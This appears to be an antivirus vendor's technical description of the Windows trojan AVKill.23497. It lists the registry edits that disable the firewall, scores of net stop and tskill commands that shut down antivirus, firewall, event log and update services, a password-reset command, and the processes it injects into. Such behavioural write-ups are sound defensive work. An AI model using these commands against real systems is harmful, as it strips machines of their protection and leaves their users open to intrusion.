Trojan.AVKill.23497

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Classes\.exe] '' = 'pngfile'

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Executes the following:

<SYSTEM32>\net.exe stop "*norton*" /y
<SYSTEM32>\net1.exe stop ERSvc /y
<SYSTEM32>\net1.exe stop "*norton*" /y
<SYSTEM32>\net1.exe stop "*Symantec*" /y
<SYSTEM32>\net.exe stop "*Symantec*" /y
<SYSTEM32>\net.exe stop ERSvc /y
<SYSTEM32>\net.exe stop MpfService /y
<SYSTEM32>\net1.exe stop MskService /y
<SYSTEM32>\net1.exe stop MpfService /y
<SYSTEM32>\net1.exe stop mcupdmgr.exe /y
<SYSTEM32>\net.exe stop mcupdmgr.exe /y
<SYSTEM32>\net.exe stop "norton AntiVirus Server" /y
<SYSTEM32>\net1.exe stop "Symantec AntiVirus Client" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Server" /y
<SYSTEM32>\net1.exe stop "NAV Alert" /y
<SYSTEM32>\net.exe stop "NAV Alert" /y
<SYSTEM32>\net.exe stop "Symantec AntiVirus Client" /y
<SYSTEM32>\net1.exe stop ccPwdSvc /y
<SYSTEM32>\net.exe stop ccPwdSvc /y
<SYSTEM32>\net.exe stop "Serv-U" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Client" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Client" /y
<SYSTEM32>\net.exe stop MskService /y
<SYSTEM32>\net1.exe stop MonSvcNT /y
<SYSTEM32>\net.exe stop MonSvcNT /y
<SYSTEM32>\net.exe stop SAVScan /y
<SYSTEM32>\net.exe stop NProtectService /y
<SYSTEM32>\net1.exe stop SAVScan /y
<SYSTEM32>\net1.exe stop vrmonsvc /y
<SYSTEM32>\net1.exe stop navapsvc /y
<SYSTEM32>\net.exe stop navapsvc /y
<SYSTEM32>\net.exe stop "Sygate Personal Firewall Pro" /y
<SYSTEM32>\net.exe stop vrmonsvc /y
<SYSTEM32>\net1.exe stop "Sygate Personal Firewall Pro" /y
<SYSTEM32>\net.exe stop "Symantec Network Drivers Service" /y
<SYSTEM32>\net1.exe stop srservice /y
<SYSTEM32>\net1.exe stop "Symantec Network Drivers Service" /y
<SYSTEM32>\net1.exe stop "norton Unerase Protection" /y
<SYSTEM32>\net.exe stop "norton Unerase Protection" /y
<SYSTEM32>\net.exe stop srservice /y
<SYSTEM32>\net.exe stop ccSetMGR /y
<SYSTEM32>\net1.exe stop NProtectService /y
<SYSTEM32>\net1.exe stop ccSetMGR /y
<SYSTEM32>\net1.exe stop ccEvtMGR /y
<SYSTEM32>\net.exe stop ccEvtMGR /y
<SYSTEM32>\net.exe stop "Nav Auto-Protect" /y
<SYSTEM32>\net1.exe stop "Sophos Anti-Virus" /y
<SYSTEM32>\net.exe stop "Sophos Anti-Virus" /y
<SYSTEM32>\net.exe stop "Sophos Anti-Virus Network" /y
<SYSTEM32>\net.exe stop "eTrust Antivirus Job Server" /y
<SYSTEM32>\net1.exe stop "Sophos Anti-Virus Network" /y
<SYSTEM32>\net1.exe stop "SyGateService" /y
<SYSTEM32>\net1.exe stop "McAfee.com McShield" /y
<SYSTEM32>\net.exe stop "McAfee.com McShield" /y
<SYSTEM32>\net.exe stop "McAfee.com VirusScan Online Realtime Engine" /y
<SYSTEM32>\net.exe stop "SyGateService" /y
<SYSTEM32>\net1.exe stop "McAfee.com VirusScan Online Realtime Engine" /y
<SYSTEM32>\net.exe stop spoolnt
<SYSTEM32>\net1.exe stop netsvcs
<SYSTEM32>\net1.exe stop spoolnt
<SYSTEM32>\attrib.exe +h "%TEMP%\1.tmp\CYBER.bat"
<SYSTEM32>\net1.exe user %USERNAME% DELmE
<SYSTEM32>\net.exe stop netsvcs
<SYSTEM32>\net.exe stop "eTrust Antivirus Realtime Server" /y
<SYSTEM32>\net1.exe stop "eTrust Antivirus Job Server" /y
<SYSTEM32>\net1.exe stop "eTrust Antivirus Realtime Server" /y
<SYSTEM32>\net1.exe stop "eTrust Antivirus RPC Server" /y
<SYSTEM32>\net.exe stop "eTrust Antivirus RPC Server" /y
<SYSTEM32>\net1.exe stop "Trend NT Realtime Service" /y
<SYSTEM32>\net.exe stop InoRPC /y
<SYSTEM32>\net1.exe stop eventlog /y
<SYSTEM32>\net1.exe stop InoRPC /y
<SYSTEM32>\net1.exe stop InoRT /y
<SYSTEM32>\net.exe stop InoRT /y
<SYSTEM32>\net.exe stop eventlog /y
<SYSTEM32>\net.exe stop "McShield" /y
<SYSTEM32>\net1.exe stop "Nav Auto-Protect" /y
<SYSTEM32>\net1.exe stop "McShield" /y
<SYSTEM32>\net1.exe stop "DefWatch" /y
<SYSTEM32>\net.exe stop "DefWatch" /y
<SYSTEM32>\net1.exe stop "PC-cillin Personal Firewall" /y
<SYSTEM32>\net.exe stop "PC-cillin Personal Firewall" /y
<SYSTEM32>\net.exe stop "Trend Micro Proxy Service" /y
<SYSTEM32>\net.exe stop "Trend NT Realtime Service" /y
<SYSTEM32>\net1.exe stop "Trend Micro Proxy Service" /y
<SYSTEM32>\net1.exe stop "ViRobot Professional Monitoring" /y
<SYSTEM32>\net1.exe stop InoTask /y
<SYSTEM32>\net.exe stop InoTask /y
<SYSTEM32>\net.exe stop "norton AntiVirus Corporate Edition" /y
<SYSTEM32>\net.exe stop "ViRobot Professional Monitoring" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Corporate Edition" /y
<SYSTEM32>\tskill.exe /A mcafe*
<SYSTEM32>\tskill.exe /A msmp*
<SYSTEM32>\tskill.exe /A mghtml
<SYSTEM32>\tskill.exe /A isafe
<SYSTEM32>\tskill.exe /A msiexec
<SYSTEM32>\tskill.exe /A gcasDt*
<SYSTEM32>\tskill.exe /A aswupdsv
<SYSTEM32>\tskill.exe /A ash*
<SYSTEM32>\tskill.exe /A ewid*
<SYSTEM32>\tskill.exe /A guar*
<SYSTEM32>\tskill.exe /A guard*
<SYSTEM32>\tskill.exe /A norton au*
<SYSTEM32>\tskill.exe /A norton*
<SYSTEM32>\tskill.exe /A ccc*
<SYSTEM32>\tskill.exe /A loge*
<SYSTEM32>\tskill.exe /A npfmn*
<SYSTEM32>\tskill.exe /A cc*
<SYSTEM32>\tskill.exe /A zauinst
<SYSTEM32>\tskill.exe /A zap*
<SYSTEM32>\tskill.exe /A upd*
<SYSTEM32>\tskill.exe /A minilog
<SYSTEM32>\tskill.exe /A zlclien*
<SYSTEM32>\tskill.exe /A avg*
<SYSTEM32>\tskill.exe /A spy*
<SYSTEM32>\tskill.exe /A anti*
<SYSTEM32>\tskill.exe /A bullguard
<SYSTEM32>\tskill.exe /A KAV*
<SYSTEM32>\tskill.exe /A PersFw
<SYSTEM32>\tskill.exe /A fire*
<SYSTEM32>\net.exe stop УSecurity CenterФ
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\CYBER.bat" "
<SYSTEM32>\net1.exe stop УSecurity CenterФ
<SYSTEM32>\tskill.exe /A av*
<SYSTEM32>\netsh.exe firewall set opmode mode=disable
<SYSTEM32>\tskill.exe /A cle
<SYSTEM32>\tskill.exe /A ESAFE
<SYSTEM32>\tskill.exe /A BLACKICE
<SYSTEM32>\tskill.exe /A kav
<SYSTEM32>\tskill.exe /A def*
<SYSTEM32>\tskill.exe /A F-*
<SYSTEM32>\tskill.exe /A SAFEWEB
<SYSTEM32>\tskill.exe /A ZONEALARM
<SYSTEM32>\tskill.exe /A OUTPOST
<SYSTEM32>\tskill.exe /A nav*
<SYSTEM32>\tskill.exe /A nv*
<SYSTEM32>\tskill.exe /A nisum*
<SYSTEM32>\net1.exe stop "norton AntiVirus Firewall Monitor Service" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Firewall Monitor Service" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Auto-Protect Service" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Auto Protect Service" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Auto-Protect Service" /y
<SYSTEM32>\net1.exe stop "SAVScan" /y
<SYSTEM32>\net1.exe stop "Automatic Updates" /y
<SYSTEM32>\net.exe stop "Automatic Updates" /y
<SYSTEM32>\net.exe stop "Symantec Core LC" /y
<SYSTEM32>\net.exe stop "SAVScan" /y
<SYSTEM32>\net1.exe stop "Symantec Core LC" /y
<SYSTEM32>\net.exe stop "Symantec SPBBCSvc" /y
<SYSTEM32>\net1.exe stop "McAfee SecurityCenter Update Manager" /y
<SYSTEM32>\net1.exe stop "Symantec SPBBCSvc" /y
<SYSTEM32>\net1.exe stop "Ahnlab Task Scheduler" /y
<SYSTEM32>\net.exe stop "Ahnlab Task Scheduler" /y
<SYSTEM32>\net.exe stop "McAfee SecurityCenter Update Manager" /y
<SYSTEM32>\net.exe stop "McAfee Spamkiller Server" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Auto Protect Service" /y
<SYSTEM32>\net1.exe stop "McAfee Spamkiller Server" /y
<SYSTEM32>\net1.exe stop "McAfee Personal Firewall Service" /y
<SYSTEM32>\net.exe stop "McAfee Personal Firewall Service" /y
<SYSTEM32>\net1.exe stop "Security Center" /y
<SYSTEM32>\tskill.exe /A padmin
<SYSTEM32>\tskill.exe /A pav*
<SYSTEM32>\tskill.exe /A panda*
<SYSTEM32>\tskill.exe /A sche*
<SYSTEM32>\tskill.exe /A avsch*
<SYSTEM32>\tskill.exe /A pop*
<SYSTEM32>\tskill.exe /A tmp*
<SYSTEM32>\tskill.exe /A issvc
<SYSTEM32>\tskill.exe /A tmn*
<SYSTEM32>\tskill.exe /A cpd*
<SYSTEM32>\tskill.exe /A pcc*
<SYSTEM32>\tskill.exe /A avas*
<SYSTEM32>\tskill.exe /A safe*
<SYSTEM32>\tskill.exe /A norm*
<SYSTEM32>\net.exe stop "Security Center" /y
<SYSTEM32>\tskill.exe /A offg*
<SYSTEM32>\tskill.exe /A ad-*
<SYSTEM32>\tskill.exe /A virus*
<SYSTEM32>\tskill.exe /A syman*
<SYSTEM32>\tskill.exe /A realm*
<SYSTEM32>\tskill.exe /A scan*
<SYSTEM32>\tskill.exe /A sweep*

Injects code into

the following user processes:

ash.exe
ccapp.exe
AVGCTRL.EXE
AVPCC.EXE

Terminates or attempts to terminate

the following user processes:

ash.exe
ashAvast.exe
NAVAPW32.EXE
ZONEALARM.EXE
outpost.exe
zlclient.exe
ccapp.exe
zapro.exe
ashAvSrv.exe
GUARD.EXE
AVP.COM
AVP.EXE
AVGCTRL.EXE
avgcc.exe
AVGCC32.EXE
AVSYNMGR.EXE
firefox.exe
AVPM.EXE
AVP32.EXE
AVPCC.EXE

Modifies file system :

Creates the following files:

C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\drivetable.txt
%TEMP%\1.tmp\CYBER.bat

Sets the 'hidden' attribute to the following files:

%TEMP%\1.tmp\CYBER.bat

Deletes the following files:

%TEMP%\1.tmp\CYBER.bat

Technologies

Begriffe

Schulung und Training

Mythen

Technical Information

Curing recommendations

Free trial